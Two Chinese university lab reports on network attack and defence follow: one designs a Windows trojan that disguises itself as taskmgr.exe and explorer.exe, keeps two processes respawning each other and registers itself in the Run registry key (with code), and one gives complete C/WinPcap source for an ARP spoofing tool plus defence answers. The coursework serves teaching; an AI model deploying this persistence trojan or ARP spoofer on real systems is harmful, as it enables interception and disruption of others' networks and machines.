网络攻防—木马实验报告

https://upload.fanwen118.com/wk-img/img100/3741387_1.jpg

综合实验报告

( 20xx -- 20xx 年度第二学期)

名 称: 网络攻防系统实验

题 目: 木马

院 系: 计算机系

班 级: 信息安全1001班

学 号: ***

设计周数: 2

成 绩:

日期:20##年 7月 10日

网络攻防实验

任 务 书

一、 目的与要求

1.目的

1.1 培养学生的动手实践能力

1.2 深入理解计算机网络应用程序工作原理

1.3 更加深入学习网络攻防的基本步骤。

1.4 掌握网络攻击软件的编写能力。

1.5把前期学习阶段的知识和方法系统化,来解决实际问题,为毕业设计做准备。

2. 要求

2.1 运用所学的知识和方法采用最佳的解决问题思路,完成本次实验。

2.2 根据任务书所规定的程序能查找相关资料,学习相关开发技术和理论知识。

2.3对要完成的内容进行详细的分析和设计,画出系统执行的流程图和系统构架图。

2.4 认真书写实验报告,包括实验过程中遇到的问题,解决办法,也包括实验后的新的体会及队本次实验的建议和意见。

二、 主要内容

编写一个针对Windows的木马程序,该木马可以作为各种入侵程序的伪装外壳,保证信息窃探工作的顺利完成,基本程序功能如下:

1、在主程序中要求将程序拷贝到系统盘\windows\目录下并更名为taskmgr.exe,同时复制第二份到系统盘\windows\system32目录下并更名为explorer.exe。用以混淆用户对木马的第一判断。

2、程序建立两个windows进程,每个进程每一个时钟周期检查另外一个进程是否正在运行。如果存在弹出对话框“I’m still here!”,如果不存在启动另一个进程并弹出对话框“I’m still here!”。

3、将拷贝好的两个病毒程序添加到注册表起动项中。(software\\microsoft\\windows\\currentversion\\run)。每个时钟程序在运行的时

候都要向注册表中添加此信息。

三、 进度计划

四、 设计(实验)成果要求

1.完成规定的实验任务,保质保量;

2.完成综合实验报告,要求格式规范,内容具体而翔实,应体现自身所做的工作,注重对实验思路的归纳和对问题解决过程的总结。

五、 考核方式

平时成绩+验收程序+实验报告

学生姓名:

指导教师:

年 月 日

一、课程设计(综合实验)的目的与要求

1. 目的

1.1 培养学生的动手实践能力

1.2 深入理解计算机网络应用程序工作原理

1.3 更加深入学习网络攻防的基本步骤。

1.4 掌握网络攻击软件的编写能力。

1.5把前期学习阶段的知识和方法系统化,来解决实际问题,为毕业设计做准备。

2. 要求

2.1 运用所学的知识和方法采用最佳的解决问题思路,完成本次实验。

2.2 根据任务书所规定的程序能查找相关资料,学习相关开发技术和理论知识。

2.3对要完成的内容进行详细的分析和设计,画出系统执行的流程图和系统构架图。

2.4 认真书写实验报告,包括实验过程中遇到的问题,解决办法,也包括实验后的新的体会及队本次实验的建议和意见。

二、设计(实验)正文

(一)、设计思想

编写一个针对Windows的木马程序,该木马可以作为各种入侵程序的伪装外壳,保证信息窃探工作的顺利完成

(二)、基本程序功能如下:

1、在主程序中要求将程序拷贝到系统盘\windows\目录下并更名为taskmgr.exe,同时复制第二份到系统盘\windows\system32目录下并更名为explorer.exe。用以混淆用户对木马的第一判断。

2、程序建立两个windows进程,每个进程每一个时钟周期检查另外一个进程是否正在运行。如果存在弹出对话框“I’m still here!”,如果不存在启动另一个进程并弹出对话框“I’m still here!”。

3、将拷贝好的两个病毒程序添加到注册表起动项中。(software\\microsoft\\windows

\\currentversion\\run)。每个时钟程序在运行的时候都要向注册表中添加此信息。

(三)、程序功能实现的界面

1、感染界面

https://upload.fanwen118.com/wk-img/img100/3741387_2.jpg

https://upload.fanwen118.com/wk-img/img100/3741387_3.jpg

https://upload.fanwen118.com/wk-img/img100/3741387_4.jpg

2、回调函数时间设置太短,系统会崩溃界面如下

https://upload.fanwen118.com/wk-img/img100/3741387_5.jpg

3、注册表功能界面

https://upload.fanwen118.com/wk-img/img100/3741387_6.jpg

我们组组员设计的进程管理器所显示的进程界面:

https://upload.fanwen118.com/wk-img/img100/3741387_7.jpg

4、注册表功能实现的主要代码:

void editRegTable()

{

HKEY hKey; //句柄

char Subkey[] = "software\\microsoft\\windows\\currentversion\\run";

char ValueName1[] = "taskmgr", ValueName2[] = "explorer";

BYTE Value[200];

DWORD Size;

if(RegOpenKeyEx(HKEY_CURRENT_USER,Subkey,0,KEY_ALL_ACCESS,&hKey)!=ERROR_SUCCESS) //第一步

{

MessageBox(NULL, "Register open error", "", MB_OK);

return;

}

Size = sizeof(Value);

if(RegQueryValueEx(hKey,ValueName1,0,NULL,Value,&Size)!=ERROR_SUCCESS || Value != sFile1)

{//如果taskmgr还没注册过

//设置键值

RegSetValueEx(hKey, ValueName1, 0L, REG_SZ, (const BYTE *)(const char *)sFile1, strlen(sFile1) + 1);

}

if(RegQueryValueEx(hKey,ValueName2,0,NULL,Value,&Size)!=ERROR_SUCCESS || Value != sFile2)

{//如果explorer还没注册过

//设置值

RegSetValueEx(hKey, ValueName2, 0L, REG_SZ, (const BYTE *)(const char *)sFile2, strlen(sFile2) + 1);

}

RegCloseKey(hKey);

}

三、课程设计(综合实验)总结或结论

此次网络攻防课程设计,我们选择的是木马程序的设计。因为之前从尝试过编写此类程序,所以完成设计之初我们查阅了不少资料。

在实验后期对于病毒的清除时由木马性质可知要同时结束两个进程,才能达到清除此木马的目的,不然删除的那个进程又会自动启动。但windows资源管理器中的进程管理中进程项目过多,若回调函数内时间设置果断根本没办法将病毒删除,所以我们组成员编写了一个简单的进程管理器,在此进程管理器中可以看到两个可疑进程taskmgr.exe和explorer.exe,找到C\windows\taskmgr.exe和C\windows\system32\explorer.exe并将他们删除,同时还要删除注册表HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run里的taskmgr和explorer。

通过此次试验我更加了解了如何编写一个针对Windows的可以作为各种入侵程序的伪装外壳,保证信息窃探工作的顺利完成的木马程序,获益匪浅。在此再次感谢梅华威老师的耐心指导与讲解。

四、参考文献

[1] [美]AI Stevens著 林瑶等译. C++大学自学教程[M]. 北京.电子工业出版社,2004

[2] 宋坤,刘锐宁 .Visual C++ 程序设计自学手册[M]. 北京.北京人民邮电出版,20##-2

[3] 袁津生,吴砚农 .计算机网络安全基础[M]. 北京.人民邮电出版社,20##-1

[4] 张友生,米安然著.计算机病毒与木马程序剖析.北京.科海电子出版社,20##-3

附录(设计流程图、程序、表格、数据等)

见下页

 

第二篇:协议攻击实验报告

网络攻防对抗

实验报告

实验名称:协议攻击

实验类型:验证型实验

指导老师:

专业班级:

姓 名:

学 号:

电子邮件:

实验地点:

实验日期: 年 月 日

实验成绩:

1、实验目的

通过该实验使我们认识网络协议的不安全性,没有完全可靠的协议,了解常见TCP/IP协议的攻击类型和原理。通过该实验,掌握协议攻击的原理,了解TCP会话劫持,SYN Flood攻击,UDP攻击协议,ICMP攻击,ARP欺骗,ARP拒绝服务攻击等的原理和防御策略,并能使用常用的协议攻击手段。并补充完老师提供的ARP欺骗程序的源代码,并进行测试和效果检测等。

2、实验内容

ARP欺骗

3、实验过程(包含实验结果)

ARP欺骗:

欺骗结果:

四、实验源码

#define HAVE_REMOTE

#include <stdlib.h>

#include <stdio.h>

#include <conio.h> //getchar()函数使用

#include <pcap.h>

#include <winsock2.h>

#pragma comment(lib,"wpcap")

#pragma comment(lib , "ws2_32")

main()

{

enum{ MAC_ADDR_LEN = 0x06, // mac地址的长度 (6字节)

IP_ADDR_LEN = 0x04, // IP地址的长度 (4字节)

};

enum{ ETH_TYPE = 0x0806 , //以太网类型,默认0806

IP_TYPE = 0x0800 , //0800即表示IP地址

};

enum{ ARP_REQUEST = 0x0001 , //arp request

ARP_REPLY = 0x0002 , //arp reply

};

enum {

ARP_HARDWARE = 0x0001 //arp包硬件类型 1表示以太网地址

};

enum{

MAX_ADAPTERS = 16 //最大的网络适配器数量

};

//////////////////////////////////////////////////////////////////////////

#pragma pack( push ,1 ) // 1 字节对齐

typedef struct ethhdr

{ unsigned char eh_dst[MAC_ADDR_LEN]; //以太网目的地址

unsigned char eh_src[MAC_ADDR_LEN]; //以太网源地址

unsigned short eh_type; //以太网类型,默认0x0806

char data[1];

} ETH_t, *pETH_t;

typedef struct arphdr //arp头

{ unsigned short arp_hdr; // 硬件类型 Ethernet 0x0001

unsigned short arp_pro; // 协议类型,IP,0x0800

unsigned char arp_hln; // 硬件地址长度,mac地址长度

unsigned char arp_pln; // 协议地址长度,ip地址长度

unsigned short arp_opt; // [ request | reply| response ]

unsigned char arp_sha[MAC_ADDR_LEN]; // 发送端以太网地址

unsigned long arp_spa; // 发送端ip地址

unsigned char arp_tha[MAC_ADDR_LEN]; // 接收端以太网地址

unsigned long arp_tpa; // 接收端ip地址

} ARP_t, *pARP_t;

#pragma pack( pop )

//////////////////////////////////////////////////////////////////////////

// static unsigned char sa[6] = { 0x00,0x88,0x88,0x88,0x88,0x88 }; //伪装的mac地址

// static char* pchar_StartIP = "1.1.1.1"; //伪装的IP地址

//////////////////////////////////////////////////////////////////////////

pcap_if_t *alldevs;

pcap_if_t *d;

int inum;

int i=0;

char errbuf[PCAP_ERRBUF_SIZE];

pcap_t *fp;

/* 从本机上获取适配器信息 */

if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf) == -1)

{

fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf);

exit(1);

}

/* 打印适配器列表*/

for(d=alldevs; d; d=d->next)

{

printf("%d. %s", ++i, d->name);

if (d->description)

printf(" (%s)\n", d->description);

else

printf(" (No description available)\n");

}

if(i==0)

{

printf("\nNo interfaces found! Make sure WinPcap is installed.\n");

return -1;

}

/*选择适配器 */

printf("Enter the interface number (1---%d):",i);

scanf("%d", &inum);

if(inum < 1 || inum > i)

{

printf("\nInterface number out of range.\n");

/* 释放适配器 */

pcap_freealldevs(alldevs);

return -1;

}

/* 转跳选择的适配器 */

for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++);

/* 打开适配器*/

if ( (fp= pcap_open(d->name, // name of the device

100, // portion of the packet to capture (only the first 100 bytes)

PCAP_OPENFLAG_PROMISCUOUS, // promiscuous mode

1000, // read timeout

NULL, // authentication on the remote machine

errbuf // error buffer

) ) == NULL)

{

fprintf(stderr,"\nUnable to open the adapter. %s is not supported by WinPcap\n", d->name);

return -1;

}

/* At this point, we don't need any more the device list. Free it */

pcap_freealldevs(alldevs);

//////////////////////////////////////////////////////////////////////////

pETH_t pE;

pARP_t pA ;

unsigned char sendbuf[60] = {0}; //需要发送的攻击包

//////////////////////////////////////////////////////////////////////////

char attack_addr[16]; //被攻击者的IP地址

/* * 输入需要攻击的主机的IP地址 */

memset( attack_addr , 0 , 16 );

printf("\n");

printf("请输入被欺骗主机的IP地址 [ xxx.xxx.xxx.xxx ] :"); scanf("%s" , attack_addr );

//////////////////////////////////////////////////////////////////////////

/* * 输入需要攻击的主机的MAC地址 */

unsigned char Target_mac[6];

unsigned char uc_TargetMac[12];

memset(uc_TargetMac ,0 ,12);

printf("请输入被欺骗主机的MAC地址 [xxxxxxxxxxxx] :");

scanf("%1x%1x%1x%1x%1x%1x%1x%1x%1x%1x%1x%1x",

&uc_TargetMac[0],&uc_TargetMac[1],&uc_TargetMac[2],&uc_TargetMac[3],&uc_TargetMac[4],&uc_TargetMac[5],

&uc_TargetMac[6],&uc_TargetMac[7],&uc_TargetMac[8],&uc_TargetMac[9],&uc_TargetMac[10],&uc_TargetMac[11]);

Target_mac[0]=(uc_TargetMac[0]<<4)+uc_TargetMac[1];

Target_mac[1]=(uc_TargetMac[2]<<4)+uc_TargetMac[3];

Target_mac[2]=(uc_TargetMac[4]<<4)+uc_TargetMac[5];

Target_mac[3]=(uc_TargetMac[6]<<4)+uc_TargetMac[7];

Target_mac[4]=(uc_TargetMac[8]<<4)+uc_TargetMac[9];

Target_mac[5]=(uc_TargetMac[10]<<4)+uc_TargetMac[11];

//////////////////////////////////////////////////////////////////////////

/* 输入伪造的源IP地址*/

char Spoof_addr[16]; //被攻击者的IP地址

/* * 输入需要攻击的主机的IP地址 */

memset( Spoof_addr , 0 , 16 );

printf("\n");

printf("请输入欺骗内容的IP地址 [ xxx.xxx.xxx.xxx ] :");

scanf("%s" , Spoof_addr );

//////////////////////////////////////////////////////////////////////////

/* * 输入伪造的源MAC地址 */

unsigned char Spoof_mac[6];

unsigned char uc_SpoofMac[12];

memset(uc_SpoofMac ,0 ,12);

printf("请输入欺骗内容的MAC地址 [xxxxxxxxxxxx] :");

scanf("%1x%1x%1x%1x%1x%1x%1x%1x%1x%1x%1x%1x",

&uc_SpoofMac[0],&uc_SpoofMac[1],&uc_SpoofMac[2],&uc_SpoofMac[3],&uc_SpoofMac[4],&uc_SpoofMac[5],

&uc_SpoofMac[6],&uc_SpoofMac[7],&uc_SpoofMac[8],&uc_SpoofMac[9],&uc_SpoofMac[10],&uc_SpoofMac[11]);

Spoof_mac[0]=(uc_SpoofMac[0]<<4)+uc_SpoofMac[1];

Spoof_mac[1]=(uc_SpoofMac[2]<<4)+uc_SpoofMac[3];

Spoof_mac[2]=(uc_SpoofMac[4]<<4)+uc_SpoofMac[5];

Spoof_mac[3]=(uc_SpoofMac[6]<<4)+uc_SpoofMac[7];

Spoof_mac[4]=(uc_SpoofMac[8]<<4)+uc_SpoofMac[9];

Spoof_mac[5]=(uc_SpoofMac[10]<<4)+uc_SpoofMac[11];

//////////////////////////////////////////////////////////////////////////

int attack_maxtime = 3;

// printf("请输入需要发送攻击包的最大数量:");

// scanf("%d",&attack_maxtime);

printf("\n");

printf( "对%s进行ARP欺骗\n" , attack_addr );

pE = (pETH_t)sendbuf ;

pA = (pARP_t)pE->data;

pE->eh_type = htons( ETH_TYPE );

/*在以太网头部中装入目标MAC地址*/

memcpy( pE->eh_dst ,Target_mac , 6);

/*在以太网头部中装入伪装MAC地址*/

memcpy( pE->eh_src ,Spoof_mac , 6);

//////////////////////////////////////////////////////////////////////////

pA->arp_hdr = htons(ARP_HARDWARE);

pA->arp_pro = htons(IP_TYPE) ;

pA->arp_hln = MAC_ADDR_LEN;

pA->arp_pln = IP_ADDR_LEN;

pA->arp_opt = htons(ARP_REPLY) ;

memcpy( pA->arp_sha ,Spoof_mac , 6);

memcpy( pA->arp_tha ,Target_mac , 6);

pA->arp_tpa = inet_addr( attack_addr );

pA->arp_spa = inet_addr( Spoof_addr );

// for( int attack_time=0; attack_time<attack_maxtime; attack_time++ )

while(true)

{

pcap_sendpacket(fp, sendbuf, 60 /* size */);

// if (pcap_sendpacket(fp, sendbuf, 60 /* size */) != 0)

// {

// fprintf(stderr,"\nError sending the packet: \n", pcap_geterr(fp));

// return -1;

// }

Sleep(1000);

printf("Spoof OK!\n");

}

return 0;

}

5、课后作业

1、怎样防止Arp 欺骗?

答:设置静态的MAC-->IP对应表,不要让主机刷新你设定好的转换表。

除非必要,否则停止ARP使用,把ARP做为永久条目保存在对应表中。

使用ARP服务器。确保这台ARP服务器不被黑。

使用"proxy"代理IP传输。

使用硬件屏蔽主机。

定期用响应的IP包中获得一个rarp请求,检查ARP响应的真实性。

定期轮询,检查主机上的ARP缓存。

使用防火墙连续监控网络。

2、WinPcap 开发的网络程序的特点是什么?

答:捕获原始数据包,无论它是发往某台机器的,还是在其他设备(共享媒介)上进行交换的 。

在数据包发送给某应用程序前,根据用户指定的规则过滤数据包 。

将原始数据包通过网络发送出去 。

收集并统计网络流量信息 。

6.实验体会

会话劫持:攻击分为两种类型:1)中间人攻击(Man In The Middle,简称MITM),2)注射式攻击(Injection);并且还可以把会话劫持攻击分为两种形式:1)被动劫持,2)主动劫持;被动劫持实际上就是在后台监视双方会话的数据流,从中获得敏感数据;而主动劫持则是将会话当中的某一台主机“踢”下线,然后由攻击者取代并接管会话,这种攻击方法危害非常大

SYN Flood攻击:SYN Flood是当前最流行的DoS(拒绝服务攻击)与DdoS(分布式拒绝服务攻击)的方式之一,这是一种利用TCP协议缺陷,发送大量伪造的TCP连接请求,从而使得被攻击方资源耗尽(CPU满负荷或内存不足)的攻击方式。

UDP攻击:UDP攻击,又称UDP洪水攻击或UDP淹没攻击(英文:UDP Flood Attack)是导致基於主机的服务拒绝攻击的一种。UDP 是一种无连接的协议,而且它不需要用任何程序建立连接来传输数据。当攻击者随机地向受害系统的端口发送 UDP 数据包的时候,就可能发生了 UDP 淹没攻击。

ARP协议攻击:

ARP攻击就是通过伪造IP地址和MAC地址实现ARP欺骗,能够在网络中产生大量的ARP通信量使网络阻塞,攻击者只要持续不断的发出伪造的ARP响应包就能更改目标主机ARP缓存中的IP-MAC条目,造成网络中断或中间人攻击。

ARP攻击主要是存在于局域网网络中,局域网中若有一台计算机感染ARP木马,则感染该ARP木马的系统将会试图通过“ARP欺骗”手段截获所在网络内其它计算机的通信信息,并因此造成网内其它计算机的通信故障。

相关推荐